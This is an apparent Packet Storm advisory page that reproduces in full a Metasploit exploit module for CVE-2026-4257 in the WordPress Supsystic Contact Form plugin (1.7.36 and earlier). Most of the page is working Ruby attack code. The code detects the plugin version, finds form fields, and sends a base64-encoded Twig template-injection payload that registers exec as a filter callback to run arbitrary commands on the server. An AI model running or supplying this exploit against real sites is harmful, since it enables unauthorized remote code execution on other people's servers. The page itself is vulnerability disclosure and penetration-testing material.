PACKETSTORM 9.8 CRITICAL

📄 WordPress Supsystic Contact Form 1.7.36 Server-Side Template Injection_PACKETSTORM:221985

9.8 / 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description

This Metasploit module is for WordPress Supsystic Contact Form plugin versions 1.7.36 and below. The plugin suffers from a server-side template injection vulnerability that allows for remote code execution...
Visit Original Source

Basic Information

ID PACKETSTORM:221985
Published May 26, 2026 at 00:00

Affected Product

Affected Versions ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Supsystic Contact Form Wordpress Plugin SSTI RCE',
'Description' => %q{
This module performs SSTI achieving RCE in webpages containing the
Contact Form Wordpress plugin by Supsystic in versions 1.7.36 and
before.
},
'Author' => [
'Azril Fathoni', # Vulnerability Disclosure
'bootstrapbool <bootstrapbool[at]gmail.com>', # Metasploit Module
],
'License' => MSF_LICENSE,
'Privileged' => false,
'Targets' => [
[
'Unix/Linux Command Shell',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd
}
],
[
'Windows Command Shell',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :win_cmd
}
]
],
'References' => [
['CVE', '2026-4257'],
[
'URL', # Python Exploit
'https://github.com/bootstrapbool/cve-2026-4257'
],
],
'DisclosureDate' => '2026-03-30',
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('FIELD', [
false,
'Valid field used by the Contact Form plugin. Defaults are first_name, last_name, subject, message, and email. Only certain types of fields will work. See documentation (info) for more details.'
]),
OptString.new('TARGETURI', [true, 'Filepath to the webpage containing the Contact Form. Ex: /wordpress/index.php/sample-page/']),
]
)
end

def vulnerable?(version_str)
return Rex::Version.new(version_str) <= Rex::Version.new('1.7.36')
end

def get_version(body)
version_regex = /suptablesui\.min\.css\?ver=([0-9.]+)/
match = version_regex.match(body)

match ? match[1] : nil
end

def get_fields(html)
pattern = /data-name="([^"]+)"/

field_names = html.scan(pattern).flatten.uniq

if field_names.any?
print_good("Found fields: #{field_names.join(', ')}")
return field_names
else
print_warning('Failed to find fields.')
return nil
end
end

def handle_field
res = send_request_cgi({ 'uri' => normalize_uri(target_uri) })

unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from server.')
end

unless res.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected reply from server.')
end

fields = get_fields(res.body)

if !fields.nil?
field = fields[0]
print_status("Using detected field: #{field}")
return field
end

if field.nil
fail_with(Failure::NotFound, 'Failed to resolve target field')
end
end

def send_payload(payload, field)
b64 = Rex::Text.encode_base64(payload.raw)

payload = '{%set a%}UTF-8{%endset%}{%set b%}BASE64{%endset%}' \
+ '{%set p%}' + b64 + '{%endset%}' \
+ '{%set p = p|convert_encoding((a), (b))%}' \
+ '{%set e%}exec{%endset%}' \
+ '{{_self.env.registerUndefinedFilterCallback(e|lower)}}' \
+ '{{_self.env.getFilter(p)}}'

params = { 'cfsPreFill' => 1, field => payload }

# Fold any query the user baked into TARGETURI (e.g. page_id=2) into vars_get to avoid having two "?" characters
# denoting two separate query strings in the final URI, as one gets added from the TARGETURI and one from vars_get, which causes the payload to fail
if target_uri.query && !target_uri.query.empty?
target_uri.query.split('&').each do |pair|
k, v = pair.split('=', 2)
params[k] = v
end
end

send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'vars_get' => params
})
end

def exploit
if datastore['FIELD'].nil?
field = handle_field
else
field = datastore['FIELD']
end

send_payload(payload, field)
end

def check
res = send_request_cgi({ 'uri' => normalize_uri(target_uri) })

return CheckCode::Unknown unless res.code == 200

version_str = get_version(res.body)

if version_str.nil?
vprint_status('Failed to derive version')
fields = get_fields(res.body)
return CheckCode::Detected unless fields.nil?
end

if vulnerable?(version_str)
return CheckCode::Appears("Detected version #{version_str}")
end

return CheckCode::Safe("Detected version #{version_str}")
end
end

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.